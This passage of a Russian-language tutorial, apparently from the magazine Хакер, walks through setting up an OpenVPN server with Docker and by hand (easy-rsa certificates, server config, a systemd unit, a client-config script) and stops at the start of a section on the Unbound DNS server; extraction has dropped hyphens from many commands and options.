На гитхабе автора лежит достаточно полная документация в виде файла README. Им мы и воспользуемся. Для начала нам нужно создать файл кон фигурации для сервера VPN.

$ docker run v /etc/openvpn:/etc/openvpn log driver=none rm it

kylemanna/openvpn ovpn_genconfig u udp://192.168.0.183

Указываем тут протокол, в который будет оборачиваться трафик, и белый IP твоего сервера. Давай посмотрим на полученный конфиг.

$ cat /etc/openvpn/openvpn.conf

server 192.168.255.0 255.255.255.0

verb 3

key /etc/openvpn/pki/private/192.168.0.183.key

ca /etc/openvpn/pki/ca.crt

cert /etc/openvpn/pki/issued/192.168.0.183.crt

dh /etc/openvpn/pki/dh.pem

tls auth /etc/openvpn/pki/ta.key

key direction 0

keepalive 10 60

persist key

persist tun

proto udp

# Rely on Docker to do port mapping, internally always 1194

port 1194

dev tun0

status /tmp/openvpn status.log

user nobody

group nogroup

comp lzo no

###Route Configurations Below route 192.168.254.0 255.255.255.0

###Push Configurations Below push "block outside dns"

push "dhcp option DNS 8.8.8.8" push "dhcp option DNS 8.8.4.4" push "comp lzo no"

Если необходимо сменить порт, то меняем его в этом файле, а также в /etc/openvpn/ovpn_env.sh. Переходим к генерации сертификатов для удостоверяющего центра.

$ docker run v /etc/openvpn:/etc/openvpn log driver=none rm it

kylemanna/openvpn ovpn_initpki

Будет запрошен пароль для создания ключа удостоверяющего центра.

Теперь генерируется сертификат и ключ сервера, ключи протокола Диффи — Хеллмана, а также подпись HMAC для проверки целостности TLS.

После этого мы должны добавить пользователей. Делается это так же просто.

$ docker run v /etc/openvpn:/etc/openvpn log driver=none rm it

kylemanna/openvpn easyrsa build client full CLIENTNAME nopass

В качестве CLIENTNAME я буду использовать имя хоста клиента (позже ты узнаешь, для чего это нужно). Создаем сертификат для пользователя user pc, нас сразу же попросят указать пароль от сертификата удостоверяющего центра. Сертификат готов, но нам то нужно получить файл конфигурации для OpenVPN. Выполняем следующую команду.

$ docker run v /etc/openvpn:/etc/openvpn log driver=none rm it

kylemanna/openvpn ovpn_getclient user pc > /root/user pc.ovpn

Смотрим на результат.

$ cat /root/user pc.ovpn

client

nobind

dev tun

remote cert tls server

remote 192.168.0.183 1194 udp

<key>

BEGIN PRIVATE KEY

...

END PRIVATE KEY

</key>

<cert>

BEGIN CERTIFICATE

...

END CERTIFICATE

</cert>

<ca>

BEGIN CERTIFICATE

...

END CERTIFICATE

</ca>

key direction 1

<tls auth>

#

# 2048 bit OpenVPN static key

#

BEGIN OpenVPN Static key V1

...

END OpenVPN Static key V1

</tls auth>

redirect gateway def1

Ключи в формате Base64 намеренно убраны из вывода, чтобы уменьшить его содержимое. На этом все: запускаем OpenVPN в режиме демона.

$ docker run v /etc/openvpn:/etc/openvpn d p 1194:1194/udp

cap add=NET_ADMIN kylemanna/openvpn

На стороне клиента пробуем подключиться.

$ sudo openvpn config user pc.ovpn

Если все прошло успешно, то в конце лога ты увидишь надпись Initializa tion Sequence Completed, а в списке интерфейсов появится tun0 с IP адресом из подсети 192.168.255.0/24. Для наших целей этого вполне хватит, нужно только добавить команду на запуск контейнера в автозагрузку и переходить к части с настройкой DNS.

Ручная настройка OpenVPN

Второй вариант — это настроить OpenVPN полностью вручную. Поехали по шагам.

1. Устанавливаем OpenVPN.

$ sudo apt install y openvpn

2. Скачиваем easy rsa.

$ sudo git clone https://github.com/OpenVPN/easy rsa.git /etc/

openvpn/easy rsa

3. Выставляем переменные для easy rsa в файле /etc/openvpn/easy rsa/ easyrsa3/vars, остальное по желанию. Файл /etc/openvpn/easy rsa/ easyrsa3/vars.example содержит полный перечень доступных переменных, но нам хватит и этого.

set_var EASYRSA_KEY_SIZE

2048

set_var

EASYRSA_CA_EXPIRE

3650

set_var

EASYRSA_CERT_EXPIRE 3650

4. Инициализация PKI.

$ cd /etc/openvpn/easy rsa/easyrsa3 && ./easyrsa init pki

5. Создание центра сертификации. Указываем пароль и Common Name.

$ ./easyrsa build ca

6. Создание ключей сервера. Везде используем имя хоста как Common Name для создания сертификата.

$ ./easyrsa build server full vpnserver nopass

7. Создание ключей клиента.

$ ./easyrsa build client full user pc nopass

8. По желанию: если нужно сгенерировать ключи Диффи — Хеллмана и TLS.

$ ./easyrsa gen dh

$ openvpn genkey secret /etc/openvpn/easy rsa/easyrsa3/pki/ta.key

На этом создание сертификатов завершено, переходим к написанию конфига для VPN сервера /etc/openvpn/server.conf:

#Адрес твоего сервера local 192.168.0.183

#Какой TCP/UDP порт должен слушать OpenVPN port 3333

#Режим работы

mode server

#Используемый протокол TCP/UDP proto udp

#Тип интерфейса, tun (OSI Layer 3) или tap (OSI Layer 2) dev tun

#Пути к файлам сертификатов

ca /etc/openvpn/easy rsa/easyrsa3/pki/ca.crt

cert /etc/openvpn/easy rsa/easyrsa3/pki/issued/vpnserver.crt

# Этот файл необходимо хранить в секрете

key /etc/openvpn/easy rsa/easyrsa3/pki/private/vpnserver.key

dh /etc/openvpn/easy rsa/easyrsa3/pki/dh.pem

#Указываем адрес сервера и подсеть server 10.8.0.0 255.255.255.0

#Выдаем пользователям необходимые маршруты push "route 10.8.0.0 255.255.255.0"

#OpenVPN as Proxy. Перенаправляем трафик клиентов в интернет push "redirect gateway def1 bypass dhcp"

#Используем свой собственный DNS сервер

push "dhcp option DNS 10.8.0.1"

#Разрешаем подключенным клиентам OpenVPN сервера соединяться друг с другом

client to client

#Используем сжатие трафика (если не нужно, то можно закомментировать!)

comp lzo

#Проверяем состояние клиента, отправляем пакеты каждые 10 с, если в течение 120 с клиент не ответил, то он считается отключенным keepalive 10 120

#Используем те же ключи и интерфейсы при рестарте

persist key

persist tun

# Лог файл

log openvpn.log

#Уровень логирования 0 — в лог попадают только записи о критических ошибках сервера, если нужно подробнее, то выставляем 9 для дебагинга verb 0

#Количество записей, после которых будет производиться запись в лог mute 20

Плюс установки OpenVPN из репозитория еще и в том, что дополнительно он прописывается как сервис в systemctl. Подправим его для работы с нашим конфигом.

$ systemctl cat openvpn.service

#/lib/systemd/system/openvpn.service

#This service is actually a systemd target,

#but we are using a service since targets cannot be reloaded.

[Unit]

Description=OpenVPN service

After=network.target

[Service]

Type=oneshot

RemainAfterExit=yes

ExecStart=/bin/true

ExecReload=/bin/true

WorkingDirectory=/etc/openvpn

[Install]

WantedBy=multi user.target

Получив путь к файлу, немного изменим его под наши нужды.

#/lib/systemd/system/openvpn.service

#This service is actually a systemd target,

#but we are using a service since targets cannot be reloaded.

[Unit]

Description=OpenVPN service

After=network.target

[Service]

Type=oneshot

RemainAfterExit=yes

ExecStart=/usr/sbin/openvpn config server.conf daemon

ExecReload=/usr/sbin/openvpn config server.conf daemon

WorkingDirectory=/etc/openvpn

RestartSec=5s

Restart=on failure

[Install]

WantedBy=multi user.target

Запускаем сервис.

$ sudo systemctl enable openvpn.service && sudo systemctl start

openvpn.service

И проверяем на ошибки.

$ journalctl uxe openvpn.service

В прошлом примере с Docker у нас была возможность получить конфиг кли ента одной командой. Пора написать для этого скрипт.

#!/bin/bash

USERNAME=$1

EASYRSA_PKI="/etc/openvpn/easy rsa/easyrsa3/pki"

echo "

client

nobind

dev tun

remote 192.168.0.183 3333

proto udp

comp lzo yes

auth nocache

script security 2

persist key

persist tun"

echo "<key>

$(cat ${EASYRSA_PKI}/private/${USERNAME}.key)

</key>

<cert>

$(openssl x509 in ${EASYRSA_PKI}/issued/${USERNAME}.crt)

</cert>

<ca>

$(cat $EASYRSA_PKI/ca.crt)

</ca>

"

Описывать его не вижу необходимости: тут все то же самое, а за подробнос тями можешь заглянуть в man openvpn.

Теперь, когда у нас готов сервер VPN и настроено подключение клиентов, пора приступать к конфигурации сервера DNS.

UNBOUND

Выбор на него пал по нескольким причинам:

есть поддержка DNSSEC;

умеет кешировать;

можно настроить DoT (DNS over TLS);

очень прост в конфигурировании;

большая скорость работы и малый размер по сравнению с BIND.

Продолжение статьи

Соседние файлы в папке журнал хакер